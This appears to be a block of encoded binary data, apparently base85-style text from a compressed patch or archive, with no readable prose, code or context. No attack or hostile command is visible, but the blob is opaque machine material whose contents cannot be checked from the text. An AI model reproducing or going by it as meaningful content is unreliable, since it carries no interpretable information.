z`D9D(FS7V}*$AJak_IxC1rI&gaX-RCCQ-vBjV|tBH5;f~1!PM?8E6TuVr<LRTmrnR26(GAS4y2{T?s)v%OvU06Oq2!ptGQ?fRQbVZrL( zZt;(TXqQGmN5F0T>aVfv$S~YmNlry>Bvbr;aSy94n6k28b;Xd$NNLmyu`-j!$uTX6 zQz3k0eZ;08_nz%-lF+$JH<*Q!`LGSI?8Vw7?!0@k7e9FP_;EKdJGo3m1z$LNc?h=+ zFcviN$EiAcO-^plzw#2JDOI^jg#%A9FjVXl6xzE!p5fVz1U+Vi*jzGM8A8 zlH#IWm?+(lMOJE_p{s|iD{I8lU7r7@HQz^z&G$wF(M$H@;B=WCADdL{`1FxbJO2Df zv*Wi*s?{~qiyLQw;p)0(xKCaMHLBtgWtMLoHRmf`3@I9R7&WW1;`0?dXqu5@$e8>I zIJD~Zsg;y&2nW>&P)r)r4X0`-xC+N7Z{a*EB-$hg<|^1GXmG<8TrkX0A`v#Kc5mL@ zQ#GIS5`#)BrthFAXlopC1tq!X)}QDZ8cbk@lF96k1;@e}gTV#qk;XFuo3t_BkR9on z>}G*Lp~UG89!|U&@3^+AMzS%)u?vq|fkm;R4f}vF?~QLywmIw%e%jf9ISwg1oB&=x zp})>?XC_6l82Ye~E$vpk1-b*EHf<6TT6N)k-rdH|!}u>Tv=|IQNd+1ItN77l9TaD! z8a{%9tga^;2(CHY4~`;|>6p^SEA`-s?Ac5Uv_#csM1cw7x&854gqRUBpJmz{F`JsV z$+Do|*4t#5OSRUxki+^#;?$g8WlzmLIVY7v#PH5!XL9dFEfL*}E?lie%1@nTV}h{^9Y|M-I^ooPu_fMwY`&@1 z!wfJm6-ol;Nb;7rhhoZQ=9IouUq(+=SDbMIB7eb)mfKlu9XTbKTeZi;Dkj+frZs(|b%A`#y0@VC2% z-@Q5rG&8m!AT%QC{_;dbPe`5CQW6~l1JDujfB(@c=6X(>ZRO|~fVGlwSEf@ghekCK~XS~ch z)RG(_qLa}i^RvhqYqmZ<+(LTZ`nb2no!FtvaJN2gZOMJuG-jkW%HrjLV-1}%DSeJ! zZeApWf}s?5vomq$0*>udB7irPSf_&)Od>l-8k_-SnK@4mLA+|61DCnZqNl*IPC;`E72`)D{hxiY*a+2X zf?CG_b!+oexJd5i`{K`SdTO&4=xVHhu8G94%uoQtP%{%)5@|LQtY;+n{Y?ZR3H?tq z5Fi~aG!MXbt8rk--Y+u^+|n?h`}8lfK#N%*`eT~~kkXbI1%SN%N0|har2l6d1Uw63 zhNi1hw+LX%h4ug-pg*lO!12F-*#Z_)kh27weQ|p`0QS7l3IG)MC$j;(%}3YU54IkO zC4e*h>}OKxgle9Gv@-z`UF6t@mMPtKKqSwTaRyWPkAD0tog$J}Htt8S=xQFHQkm618GX9W$#@5s{dRNa9=9hwI5*P@n|iw-EXKuM2#xMC)Ws8QwVAVwJgm{ ziAdV5&r0K^0M?&AR(+-Ri|KtmvTw;)3y6L-0HfQe8U1LfBu81_Es|W7%Seh@Fo}j- zGxyZud^05^YPAFm{nxp_S7^QhO{~fYZ8loS{BEQ}te`+di<9y{HEkHN_1R0Thg!sc ziTS6~*o&|F9da!F7J1U@GAwXnUU68D|45VZ=H}arY?MtV2upF96h#hOdzf6#K)QX6 znN_{`KlA*39{-Sy2KmR$H}}3tlj)e*_uj=61a(kC;M?&yosLipj@!lHGS5dvKTFFq z5`qy5`2O^4@cH8}9(b}(4?{SC9Og2|q) zI@!~I&dIi_2aPoI>*xoZwEy^FH3*5A zVRqlB8*9 zf8a`414i|#{%5pcG@dF~=KgJw&W8EsJGetZ1bNM+d%sS{2#uLf!%Fvi_;wR6cx1}i z%dJ`j1;q#WfWLhSW^?iT;?CQ5ufHz3IPj}25ELW>W*ot=(g6j=4B^Y+_rgu8jp z^Oux2S+&_pC6xiz`{I4aiGcKBTibOPYB7k<>dbO zrqdLJ_q9S&U12(;KL68R#cMPklbYl+1%+N-d$uy&+@u5Qf5=L%4E2q%gpIHXSf%V>02AN^kk||0v0gl(!7M!N5DO} z16U2~J^e(>EFsYPlva?^*!#$q#ny@;+L#ZR;P}}!o~Frg(c;qgt5E3D88ZqZ^@s8J z67$c);=&jBoyaNxNON`SB+d{PB`Ajz z7DyKsQz;(Sf)`9p@eXNNFpNc^bz&dvI;_VRs0l_xY8@s%W9EdYd>zau)*Y^qh7fi0teLWiCg8B_dIDSNBgGy(h@T@ok|aYQSor4&6MRSKd4 zTn(3ei4`&5I#Vf{gO?2Q_R)28D&VM8LQfe^@*&Aa623*Z<)v&quNLBj;MOjm=xIO3{1nqyEVO@}~6G}30WQ2=HHLqCyVktfmYC_1!oa#~{J{(32 z`uhlkwlM-&xSkJ@P~V-^QTcHlgY>wArls- zm(VaRL7Vb#>cwX)QVXk&gs_6ao#z;@Nxfes*L-}@(~2T9pNmd{wFVfkPf=jtk~|~x zE-?rhgI<&o+^od~k3l0qFVfMZaAC7ak^1Usy0pn@juR4*{}LfR$0ik5oAmcCy-cR>L3eLJ41)VsaucfuktRoVZ~09^6vW<<@T=fAvVqK) zi2v(BCV*gCI#vL>?qDF!m=|6%3rk5^xbM?+qT{RVH8tjw=s$P&f~M~ZUDE_+<1+I@ z$O_fU3F=6X1B#eeMOC+DafcRW6Q_p1)tBQn!ps7}5HeddxJU4N8z+b>!l=g>P*O55 zE-e4{maTC5*90bT zT+<6r_+taACJ4blZEtxn%>Y7^cqFiv8d%^pt$3fv#PSLa0DCdA zwi#6iNTH|omf+{ETe~lp)F%pZ7VtbicZm_jJYf3%i+RMhM!L^@B8Ai@B`y9!(>R%dZOGIc`#AM6(XN#OK$$iErbm~lU2yZNFMQHbC5K2mdV#(tKSN%&t&g9CbWABHm$j^d1NzZpaqa)bm z%?u0-Qf5k;nM2ZTR@W*Cbgc?m`#XrV7Y!v;{P=-xXYn}VHS9zB92-qlnTy$aS>zoxSXBHUFB77c$N#>z)A`z z6e4gw+YIu;uZVyf@T+W@846dqc5sYti`{N|0DsxhSiYEzYhN{QwyO(iHoT3csVN4Z z^DkKE$+}RV`W1F`D>NV<>;CuTo+Z*~*k`6PXWc;S%4C!bVD&pN0-z;aZn{dlhSU<` z8@9luE4pF{=PDbdJOE3eeiVw|GMi5Erl1$|oiR3p)A|(*MU#|edO0ZzTZw_t?Af)M zV9lUGDum_N+pSZyTpMy{2Umj*jx6G3{((IqO{b{Z+5WqCZ{AgL;Q1zhD-`ai>nuBm z`*r@)H$UqqgA_qJ=gn1BVOIH(IBCFp-`+ZYiEd1Nv-t9evC#Qpliw5MIAHI3E|85iO<=qAK{4|}y zkE=ad5YM{H|N2K*8(|gD`Qs0{Aa2+JD?ady$dbXV$ zqy5KAAZ|QHN>MD_No%1hp+HZBJhpixV?=Woj*5ojEb{|kn`mi5UOo1K3BE*FVBr(v zUetM?UZ3X46m}09(gDE{PiGTE-$kPr^8+nSN4=lo5hJ0ESPAqkPIL(haz(h|KCTN37wbcwZ1$3Eh9{!8hau$N0MfF0e=dlkh@PVufDZQ9$To5Wf1g zRg}iCy!sfa#k7>bq>{mVSVrJjxSmuEjTux<@!oKux$F$~x6Cqs;gc+d0hAvYn06k8EJV zNh`&QVv>&4#t3XUA0vhqOr-FUESQFFaf`@&bokBg=H||$$2>O!rhb$TF2-zA?>Smv z7nxfh^d;IJMF}G>Ic`7nOK?dMK{Ak61)iWcQA;8G0*yYSlxW30Bar#V;uwI5Rd$)} zFViS1{kEQEAK5O%q7rNj+`vV+zJBSKEh#_6msceaLPQVIx-+$lu0%!-1cb2f#ftBp;?ur zfsFkM&<@C0rR|K1w9KsTW);U=4F7Oqg-v$c7DdsX6;?Sf{^ZdQ% zMz6CJw=kWa&kAu-Je%Tma0mx5&5-clPBAJ3&SJdhgMqI5@xkG<*YVco!_T)jcXl2; z`h4>NaF=`Mh(%?h+0%fHg(6_Q*xQuD zrR4S-ONmYFA8(*a1eU`LM1dEJO-=Ln>9{^~Cvd_1`Dc>8*j^m0fXz+BvHsuhc3wO)3&v>UC?tp`VPcBn*q-DjWIw&ZlE03heft#G?ZxPAtU5wMqdzJODL)Zy}Vh%!mY?O1UXX4>UjketdhPIWsoDj3$% z$Rjzw9*ov4jNa&IcVL1MhQ_8M^83nslr)`SOl*|j42L@c(FhbMwkENxI_97rEEySN zv;>L@v?{Ex3UAUVxH@A~bpZI9*9@GvAF?(Sf{6}+eN(iuXfy7hTHe zs0!#k%`%8fcObDLa~Tt$02dh0CqUzL^B2MM6iTp1pDmu!H<3seS%V$O=O7IYn!y;(kV&_8gq=)_XF$&hXr|Eeee4G zDjO4}XLNWFJD-J{lq8w7Xdbv;#;>x$G%xbAGTu9U+n0oGU;sJV9cj&EJ#a-U4+PUW zOs6zzu_sS^K1>52<1@k~#j>gG8^o2}*M|r3UNj)<*l?PimHNFCmrLroS1-4e9Y zVvJuwt4LA97z`Nu+#Z{Lt^{Ng&`A>G{PiibuJCxMhXzSbWyVO;w#0tH@8mfUHzcuN z1Gb9X`JhPWG%=c7@>;EgdfYLyopY8bc8RT#zH^qdg$6_bR>LrndL;3}vWp7nE|YhY z#e_Vl%%UnMy`|V`@m44}%;p!i#~d*JS<= zlhGkb7$Vt_e@SaNlv2dr*@TtYaZYpNY+2zfu-T4s9#Hp=N=r5-<+FYnIBg2GB-&=9 zTc`<;wS8ORn{KX>!-J<{8=Z~G;OnDsBW0w<=*r1JB0#W(oijF7BXCM&_(BYVq%fyb z3`X?P=(krH(!t<_EEw1D_m^!-L^bx$2RpEt!%MuOv;VF{kfA5A8-Mjxyt&<0x7T{s z|Ej@g)r!2E+fA~!Grrda@8IZwO5QU;D|dKscQll(M|@<(U_c&pAvZD%f+G)Bk6F@5`Oy!-Y*FFtZhc{G?n)Xt4mY8ZhTp*T5(&lP3~#%Pv|JjgT!Hj-w}<$PGe zK#oJU9^@%uic>EzSx{g!>yPFL;yMgwtvVpt(j`Cd!%3+45&98I!LFRJH^|d(~N?1<+!l z)gpk%|FGSEG^YpMCp-P^xp_$+O%=id$P>V-G>9T)DIu5mNb5M_hH)nz_2A9!{#$zB z?cpK%0VcT2A5u0M^An~D2`9Ik54|p ze~*wCBTi{M^er?$*@ng^kF;rf35?6)ys?M{n?mN3-Gt zxLv)s)l>+288yv@AD2|!h;CDch!-rZLf4G&R-8Ab>S|4wprDx3OK`Q0X}PTKp(-=0 zqft;19w~$Ne*e|}+!hq9pD$KK!p`Eh&JK5j-fCy9GIH6%W7)%bWUL5MCXIQXEQh!# zSp$8gI zr1oyAj2K04Fixt0sX5Uq31AwpejvJ5dMThmaIB6FOByNm=fM=W3lD82vb+yw*|-B5nGKf z@KVlQ^p<#75{fq?BmuFgsOA?TK(31_#7unjQ21!kR0y^1o+v4B22K>{Ydk#Zn&~OP zu4cA4&ZUYrd$%x}WydZWx7VxUc;C{L>!a>f^$R-haqP+OJW2* zYZAbZ=PvtB{G;MaI#-}Z`2L(!QiG6)q1)8j`ACEh3&1;jHAUt&g}qxY_k>Qd3tkk0 z3R}@8Q!(z1iw)h_ko0JgaDE$?8w)72Lwkjb&rtu2@?-I^C&~3FPgv3o_(oPl8<+8B zymNtnZB(t0qCRYFZ|ywX;5-4mS<%wwvKh9OrX|s!{#KaV#*@bzF22n}rZ^X0aIV%*s?HE)7jK; z8#yXuQ1kTFA}cLa5UO`nX2Hhz?sNCD$NA9@rJUAtv z*HV}s=)AwYSQB*Y?7w`a)v5 z0hqtsQ5=mgv{hMj!}iB2PArEbbR`dfR-=vWjlc_@7J;&dYtKc9NRwj@NRMu8)gEM@ zS!Eh$l%7N&XN-S}UZx@+M(yz1RNl~n%ut2+&^c5ts#Y`Dn zEas_2GWvaWjbFi5vzRjj&jQ)12rhNrRYxT$Wp-NVLAu%r$U((Kmiy?O8zzds6A!8z zPyBY^nZkFeeCrvioKX=Aac|;I=Cl^F4|0>P3^@}In!%&-rV14dKcSS)QS>(xbEBG= zYqRW}psNTLID1OMAkOOyBkmaA^akk26(EQWBj~@ZKS6IN)`ya9Ap1rY;TDDC7Rgwy z;!cC)OKv;bRuXSny7jpUGW&{9q47X2*bH~uMGzCv19S|Z1G_RJF9uIJT36s+Pgg=H zY)=YB(0-k(8kv&=ukmh9g2Ur!kduLJRCcYRQX8XOL3Bk%xr*evCZlZZ27Xz@Mziyq z@YzqsC6|h)-l}Y*DZ6K0cJN5US)(zT=gQ|DgL0FpW*||`tRg6#pe%72KNJ~*=_O;P zh$03Kkw4T*^=iE)$|i7EL+O~8LpO6EiJ%&s3aZ|Ca})V!fKw8&$3@!6*Nh`mlzO0@ zL4SrL=olg;E0`qdAF$WBDSOqE4F1b(xi5%7eUm_;GoS>zw zjGS(ku>I3KFPVIE%6*2lDKZZ0oQ>a)^Q&=m222fJ^WTY!5I~e&k+_E$Vm8i3CFM+? zg3w4|Ejrqw$OjpvW;lxmdPmSNDBZH5gtEs^IU}7gkRmF(P);*Sf50mU$Sxh1lJzAD z5Ah#K_2d^^VWGkd#fXi`1{*+r*-#SArUGP8#v8BWuj0us8|uC!+mkVI?9WDIrz;VT zaxSD6N!lcZtYD>v+36;3&?J_)23g3B*Bd_E6KG@Ocyf_-UU%V@oeA70+uhDD^v{OK zvBK}+mL-Xy%%hFt%hUYhKSqPgIX}{it_dNQDZufpRS_+7+-kRE{GmIQ1U|dY$Rj1A{{!i zBLoJ3-S5U5uYwiYj{i^m3jTY&xwGMz>r6fFoIZ&U#v6OEY_I;7HVyqX?Hp&W;#pKb zv@Vsph+qviBBmU2_2{zVI)ZkSCey-*m~e(z6dcQWgagaL?`3u42!)v!r!s6arD$XC zZ$sUJWAcA@U_$Zn6wyt({<~Ly+jc)Lny%H(+r}1AE&>WnUKld2QyDc%Hk?vS_d`K5 zg0({r0HxM@&NdDnh@w44>Vjc7F6#J}vJy1O<5S5v8D0Okt-|L5tc0=PB?FT>_vK** zBZMtM>PvuV=qBh#TG@q;8^aZx%7YRVv9Y}c+BrsnObIm{1~p~uA{YXkvIcx%?2Key zE)X%axe*{*MgbuUoj9W>zcs5w-Qx5%Uj6L>5;)lklqD4*p$=xJ=_XwlS2`JB&mSmb z{)nV*x{~Q&&(1;d#y4`YPP{#3m|9*aW9aN!|=Ji#kl#!LBn zn2>`}_mRs2V2YMy==r$o5|jfOVUi4uuNOW* zDsmGbg*2I#NKFZbjzCjXod&l4k!&Sq%cBD-+IV%c{kP$(lN~rwa4EoV@G~5*%7viC zo?v$81PZS5JDx4fbcQ{Gt{x!Up)NKgyE%Tk*H+E&QU)}P_>6T;7lWoM{Z3tDiR;GymETbk~AaJ z237IaCaes#e2*ieIBSfQZpxob4OH(H+bNo@AyvpxD!f*4MdLUtxpvNyV4-)bMhNwG z2DM|GdNQF9?&_9@dvSR^q4O_#7v2~Tdhzz>y?E!*=X79*4dTfFMj;qo^ijYVPqTBw z7Uhtjy*17+ptH2a4^XJPTL;$(LIA_W0!OyMym{k9_nRefHh6 zmj`=uNx~+BALvFHvPE<+JVwJe`EzVV$(TW>xVQdO?l#C-#)m~WWuY!o4klK58c+wWe@?C@#&HA$w*ShL_I6LRcft=#>oYD zleSs2vfw%urB*Liw}x}Mep%ukFK)Z|#`A_higX|&8;oXl$&Arfq@t{Az6^$$(OV4( z!`4+3bC54jldMP!#UY}AOna*tgU2xNI2tjo7N8V%B`L0y1Lc}3{G3fi3aQ95vB&690 z;t(72GbkV$u++e?l=#3}T<2tf7FLw7z12ZpMBTTPN@8t{t|~P&RKy;njaRB0C^E7MKm&%{^X#@_kBeI4{THX;R0D*p z+t;nI_x+N`!}w0fRzQ{=j2=RZ!IHr4wkW1r5vG#C80=9MX>Yr~{itU#mpy(PS==ZE z2IoQ1=Ozl|dgS6P)!hU93=tsGsT5AO`O#sNyJ~PUu*j%#o(HxbM$S@P?LcDFf1Sx2 zok`z|h@oqq+U6V|Jh&}MKHp<9)m(ygLyw~78Fd+miOg`i_uswvS9a?SEq|nvg5rh~ssZ>|3%uBkAfv70Z znM>fc#?|AnDUPON6QsM%xBm0gvl4qwMUGp3X-dOCEzOaO-AW$?9YczBoWRogBMlF@sg+Q(bG@{wG_?TEWcue969WmY~n&;4^7@y}k ziUeE-ii1QbalgDmuJD9<*naGH_fR4MNf2_E!X;~F7)s-U&0$;^wf&O*+1U^$XDueZ zAs{_!3P_je@LnK3V(;_jyvr&@YZ8C}0!Ym%+=(^`F36m@kqB3V$8tBfkNP-w*Mt}3 zwJ4Ei*)V*#vaToT(>DIRR8Vs~`VS$dttvhlmJEM>n^c=tUb{MXMN#TkXRrPxe*pd( za;>^)C0bX4)Czxmrrd$4)}URfTj11Tr%`x5`z=D@w@``Z%ebRt~#gMqUg+fB%U)V1Ee~-RVaW{sRG4`6SAX9V01yXe--)5NrnYANE zt(q0IBf)w*xY-f^!Tf+cO!yqa0q$Vr!^3pMa~v1A2cR48`JXOVJs zcmPAt^&%j=BFZ}oYeTJc57jf0;)aYQFIR^~w_vE&MMTMAR%X4jG`-m8FzDo9sr$2D_bcGn(Fgbd ze(4VOvU9atFoM04M(9dI0I(N(4<0`JJic=zQJiK@g~v*vO8_;2s8d%1Y`{nwR&0&G zf!{cGW$RAAVoNuRRM`}a*Wko_9f{N;U=fQ0h$9MK4SA z&Sw0Fxvfx3`4e4NW;*{Q_tj#(?537|5w0uj*1iJ9)gu4@ z*7{f7g;CXtf>D=Ctbs*E0}A@Bcekn%biA?_R8@lvXs487`GjQ|iLJUn>2%sNl7_SY zpr{m9Y$Rqo+U~`porY45lk%tS$3H^{!6_;n1G(=y?(#?WY(YwV(vc2{s;F(qC5c?YwhC)Ri=%sf|2fD}FAgBWIWmsE+ zd~2JO+R|M9(k5wfWr>)dr_?5K1>IljGa{1Hr*LeGpTPm$f70VO;V*>B=SSG~hZ2)| zGQz8r3N*#(SDdf3_|dy4CFtZN-zYaxkKxN(YHGS2w(A!ETd}NU#&W7XLqP?L4wgUt ztcZn_z>#XDF|4jUjQjn*40E&%`-cvL{Hz0q)tB2eTWce7CnfC=UG>;&##lWX2fBFm zaL*q5=QB!T<*X_;Z7+Em?cxm!Z&JUP^>7zi7xdt@o0T5Ea|D9Z?qqU@9>y$u@rOHf zPmtKp@q?uc5P!}C;OF7V&(~N1K3glFtKd*ksk0@A%3lHS0Lzq1PobO%Sr^sI);k1- z!am7480S~8#R!gKAp(5jxF6wY$J0ODT8;E?gX@$8eP2Y%%eVbzgr{p&?u3Mo%DB&q zU;6yr5kK!Ak#Q_|GNk#N)BDW{{zlXo-<@J`Iy|9u3@Cwml}%bg$SYB@p_SWFG7~aT zBKm}{FujM2BS6X^E)YE+>3&5F6%AncBMx>+>7;t>=?luX5<{ELT2io*VNNtoDN7#- z)m@;1IB{JnJ{9UacCk_)C;z2(g$ z9UmUPw8KS}jTIQqU7|vU&6!2}G#kn-;)!u;BK6juN>t5hp(mH+2V#>I0&dogvmpt- zTAAV|h7Fm&wWCeY zRZTgqE4<6&vn+aUXEaCZ7%KNe8vS08E*MZUY;)$C^(! z%#azM&aAO~|CO}uDJGQEo=Dje(37d5ydQwdIq%$IEEiOJ25I3c9ua8eKJpaiGTP_XPju@?N|MJ~;9snx8{23bZ zu7+#8fgf1O=X_H_!#y{w9&NbpD8g2-Pwa_jg9oKADW4c?BMda34y~F|bhRGS)q5PS*5mNTp?7V2 z$jh(tfQcT`Q}cS>vtSH1>}WXehna{L$G}BVB_jbcqq64$(@cmoUfoFS@$NSe0ON2L zONl_+H7@dG_0uz1FCOTZ)qDP>wdYT_jj{@!^M(8N%e-lc2XsH-RxV%W0p3vDw3(dW zF5x^CvVOaWS2e%k|E~9j|GV}Zepzo0zbu@?r`cPCCF%?=5WEcoUeNtRg_kgYGf zO~-fm)|}tr|E&eqoEg!8XniRX znz3G+!2-=4;BenmhklNbnCa#>>1cEbU9;8?Uyjey&=L~h5?7wON-AYjEc_}XZDM#) zUih+3{HX&ko=rrDW@KF__941EY7`~HPNk!v!edqjkT6Uq!T(a7U<$Y=)X4bnf5%tc zyBBYq8h}^$?Qb8OFia=ijY#4;N!nqYN)P&rgewn2T{D%0qA2+&$ zRtu{)O-qGWOAKrrG?4+C#S#mVGbC(WE8gmP>u43sE1h0OfB!pZZTLnYnEX7U@GqD- zgY9zP$w1T773UL2VzFnhH+u2LxgbAIw13JY6UrdyOH7`qZo`y-ha7Pt-;`*iD+*?U zgS1QiK4ZrV37;FC-II^Kc=zPGD=+Ol!w;U(2LoC(es7eZcW)}T>5Xr7aiHbj{sEoL z^@Cmf;FJ2wT>MM}6Uyp}g9=l;v?|*-`d3c%U1~#q8KvbA5#NAItIxAN%|iI)DDa$2l<0b;vLQg z0dBM!@L~PnVk2>wzJx`Tt%_)!D6#|l=B2GsEzY+a_IQ|2E`R}l4a`45G%fBp%of-~ z_wNg}rKxljL^L_=et>N&T-}@Dpd}(CAU%%L^BkcD#ehJQ&&Kdd3~RbfhuQ2>^K=v+ zH*!I)IE86CN;tI{2)Ve{XjiA&(5b;|!-#RC5iv>sZhIfNV@X@(B?x>BTENwKL5eS| zy3`K!sCShaD}zy6Ib$F=oL`(j*WK}Om>6~j+vMiTiQfwFTj}45Ws@YEI`B0d;&Qm( z;RPuTlk*dzQi5Q^&)si5Y+}S?c}S_b877!~C5#4KdAtS$lEP}bm%(~A)cDbKN(G~K z_`9%b9+_PnQS>CAl`kISvQZQbJ3u8w4y(i$AUX{Zltba|h{b&V_z6DpWc!O9sdrB| zq#P){NLd`AU?oP?5PG`+R`r2DRDZz;v)GxErLcU&kbc(^K8Mr9O9Es$xMVXk5%0xw z)tseYlAPmz9D~q1o6HqmVT@j8osF-%!hpp8SGb&KCSJ9n{}`6mn!&OiFP0a7RyP*{IxfIL?mm zjIp})G<9q`qVjEUj9@#i9f)Flo&$%fya~&?Sw<>Ea+xM$xpNUUf8r`dF;}IczZ;Xy zZTg&Q)llH-&QueI<(dl^y}X+58ho=T7x1K>CwRc=2JSky;LRf`kdn~C%L!4Il@)H_ z`Wn+QErz{!_yznvR}T*}s~x-X6%7iYA>fZgaX}KbAxrg$dGO1b-h+IS%Rl9FYGU(`vK&TOHh?0HdHT($TC0YERM~GOB_4Hiv_ulL{e;>}Ga zLizr@;d>Qjq<4;4*1miO9_;Y!G{(z9WEQbwNE>6qMRaCQiIec>5m zLz^pSr+$7aX*HpUrfMyq4r@R)6k?LikpbMh*YzT9ex(Q;PR?X|PUOI}IXMe08*VhAVT%)*=mm|GNyw?RVjXD@N5Hrb3rI zno2v}l1h+9Wf6(%L3h658)Ai==O9s&1o8L3!!W(x zW*ob&JdO(JCSxw);wryUjhD2k6iJy!V^^1)61lH(z9jX$SY#G0K~XPvPZi<<)y0$` zH>Ftw899Pi1Vl!OlU@&4KxCLO=^HK)@e!t4Dgd{Z&`=p)BqE+wQr2;sDO0B^Py`xj zko71$q)7m=0S8WLEl`4oUE6(oV6f?;3BJi1XV8JhO&$Vm9VN8o?l$r$@y|U ztj#^Pf)lLq$@A)yP3iQ@H?T-cEB_krRXu%e;z}Qq6<+1|`*@$bMvXaooS`RH7!g;( zD5DiO0`}N|RbY_NHyjRoC<0Q`<{Y04FR0ZD+OoE6c7XAh)s>fzmkV^275APa6QL!Y z&25aJf5AG7=w*|9T8kMFibh6PU$PYp3$332R#CT2er~OPz|-i3F_b~rWSARQsbUad z{^ym?`A+Xe?Ck*NPyLI_qHTfe^%vUUar%LS&)tD)J>dK|u{vgBPJv=fd#Fn$$EUxr3 z##^23@Xrl7iXVGO<6mm7BP9h;nj?`qeJ%(3@|xoLr~sVJNhFH{nm%UJK#{AZzcm>x zw|AcO;=9y!w~{yDls2(BK_@=uKkT+<*6gVnbKS0GP7<$-Q=)>q&Yi}S`skBkU~y~7 zFy0&i-@+JRjo*GNT&ZnHenbWIpaVh`JI7)f`8eG%L&TRM9ifSC%Rh{}fuC;0R49>? z*w{Ml@-y&J{Jg^yNh5>-Zqax?nsf~v3y*RC-McsMzVzQ!hUG@aqY$Arn})d|v_>43 z{1x;*_}~Yz(=#i&)5QUG_42Kwu7PCz@JP{nw_ z6O+6AuAcGR5vlTqKyhCA1ceImUEw}%XtFqWKdwKAd;&%Lt!+Dx98dE}j7R%boCBW?=L-geit8F{86PTKl?kZuol{7NyTG0DC}$ zzs$%A(lESygcgFsaWSdj*RQX#A1uvk=(ZXdwa$Ns6as^Iwi)>VoVd2k)Y2YKPM{%9#~Bo`uXDVe8bz5ByfVK;Udn&>m!?>kPOcMhI#@p=&=dca_LG}=_!_XZ?Mi@ zl;z~<{riJrI_QsK-TUYHhx@eDACl4iVNvui%F8C$EyazJGS&zmFC%mBKiuE@+T}oL z6&6fmVZ4r^rw^IvWP5vOy4~X+cb?#nTpbR6eY`c@mN&3@t#C_0Zbz=&R_2lOL5s(D z2=qK~K1H#Ck5djlVow~YG-m`a4_#)ZEcLZ393w9x6^U!vQtiGXme8Ff@GVMfeYhkuUY;*x1b7B`HG^g)w8 zLXsTRltVy4k4Vhq;2Wn@+?`P1k`V_Cxf9lMWPoa6^kuRU27!=w(-l(ZXdF&a-8hEt z%2@uMTx1=3z8eRhCll!IWANF;{68KEfXsJ~cDCo( z-LA7Jh(o&oJzeE1h*S`MVIr$HOlObL;Dyiyq-g)#GPkO<6E|#Uw@L?n>k{>Xf z(~_6D7G7W|Q~Z{g%Nq{=O~jBY#va=OZUy)GEBNL3D-`kOXikhY z8Ae5N29k|$-4%Fv1*yVu;V7}TA+POVn!}|m>w@obBV?4Rqi^2r?>_Hxu9g{w3=liA zNm(!69-r*LK6-bsf5>u5u-$lh(MvS$)smDF60(dj5rMfl^)@Z9fFI-Gp+eIXm&LUf zCqP`l;E>rcGd&1J_}>@+Hh@8)5Mo9Ob1tV@T68stqU7jTIGPtZ-O2+z zj~tKT#k^5DI6g@S@D~i7%HEQ>OvcUDBPU|9Kc7ZVwqdf~O}Vl+2v%_IZ*Fo>Cok0m z2A}rS2rp$`X|;GkJff$mrrBWq@?yyAgTo`cq%s&>!fAfR5CJ5wDJk`GalwwnoaNDI;K6A$0^1u?g&jj zji2;lU>Q$i&@kXedI~aoSC^2W{t#(;RG50&_ZcH|nhev;{OpXw#pqtAyPEOy>{Ljp za7(XB0_QQNOq5coTTQztSIOa)Z)OzBjQ84u_;@gcQv_FvF35(L511JJnPX2gvX$f# z6al`LK*NETKit}S{|py~UxDwN5mUt0$PXxT96!MK93K4VewXM5!8g)Gc8kY_3>aPZ zQ+W$kMVA>B9F0k&OwIT-;pw@KD9nLaJyofJ$DX0n)E+b33Eer?LV$IX*dg1DHf5@v zgW;<}yb73v^3yb9T>HyD(K+HZCgVZcTa%x|PcPo;sJ?o_zrvutdfdY4rT4SZ3_%^w z%DE+DTum3E1TS+xmuHv#i+RM7Jp+3f!aj?++&vcyLLMcN*0`h?!>C*d1C`0DIg;uZ zTqmPcS)U59&&GV=;I<4gV#Mxs++ndA$0Ij_kQ9|QLxZrKBn&Sk!$sG}lVLReCBt=L zdXLCtF53{^2&;;m4-MJ{$PBn^BqMKcKjJVLHy$v{l^bDet=6VX?<>k#Zu7T5~wHD zy2G1`ODJI^%`lZ(Oyr1xLoz1q`ZzKH`ZeK=X$3XX(n$+NK1xUE;)3zhjesL3WozT> z7ah#xuzHft)`uw;LHJqW;dXH`>IAuRYmO_rUu|F4?S1`qrM`gt zaT|Oj-0J(Vy?h_?ar&=qShX*<)b!uC_hqsNi$MZ1$`arzpN_y=h^8dX{kytI$%U@| zYMWw1hS_c+(#7LKAdHvfM4Q?=goWTA{;{FBumkOHOb{-aOL-6FwIU0Ff$Dd zg<%Zwkc6VCU|BiX^FjmcL63?Ycz9^~lJ=CXUJ-qrn}!fEKa_e8BMeqe{L6Kj3lZ#eXp7+z55Ienx3W zWbxG(UNZ$O@pg9A0jd>e!fgVjWq?*U15wqU=oKLP%T;YFMVgpHMwC*LmXs+6Q!y9_ z9FM92LvxiTZgdRV#nNpF@ zl!~jFQrpxOKEM4KI@|sNe%+xiA3^^Qo;>6Z@%AJM-qs&=Vmqf9CEmoT7F(_37uY|8 z^ruMWN&E(LZ%q!(=d{_*inq9P0%h3)XvEG%ph935BI;)dl%mz^hj zQlte34_3Km{Mm4_6syBRFHC_NL5D>~L%AX9O<_jsS4$X@VVtI9!*DY9!Q@V>sWMs2 zcTYx~kq%^v4havjp{N#>{jOsARXFVnpjSc(ba@k^pL(JtgG!Yf_Tr|UmQOX?gUUph zPq+~=?ghx4AqOUReiI2%1_tgNwOGOlo2K4?8#;E|=&j{e;TENHkO&0evcWGw6~#gS zeyF00m#h&~ltV}*tAx=3!f@D56XKd5Bm@Lj~$?nMD2*D zLCaLJ4aR|jN?i3>Xf|&pj#V$Du^nF0Wg%up3`!A!hWa z<52tx(S|Im3a-)MEl~rLYSHypXDaUYTb+Q6isoStI8}!_`M4@U$wkQ-td7Zo?t&4I z_Lf{icMGq~Cfd8%-T5gfaCNRIl|62Et$tFm>&_DK0KxiSNi?yamwu9)Rcn;%5=SEy)twtJQCmS(-LaU-vB9s4Tb zJ|CWqe-7x5Oh-9plG}<3VU2O0BtN&g^bFi~iK*r2JSJ2;*}Q)A8a{qnL3Ux9BP$uqVpANrXX)KCf=QsH;j zE5yJEME*6`s}@MYtpL(2l~NFSo?o`ewHVQ(u17 ztR+jYZNOR20=lkup|LXW^5#nnZM)1P$N`8UAsM;zEGICO)Nv`kUC(;tkl?u?3Mb?z zp$jZniEAemRyd~w9}hNHja`|r$QQ}_WYXk8>7BdeuT|x0SQaK;Q$+a4ftD1e zu7c=vW}yOw(1-E6iviuOk_)_|KN*P}ckRNI`>5+oQijesb!Nk*u%`k5GQ z^9nT*brD2qxR)l7tl!A0o~O;MN=CSxRoPN>e+pK$ia*jWJ)KtF&}3|=#_Vk9!JPXN 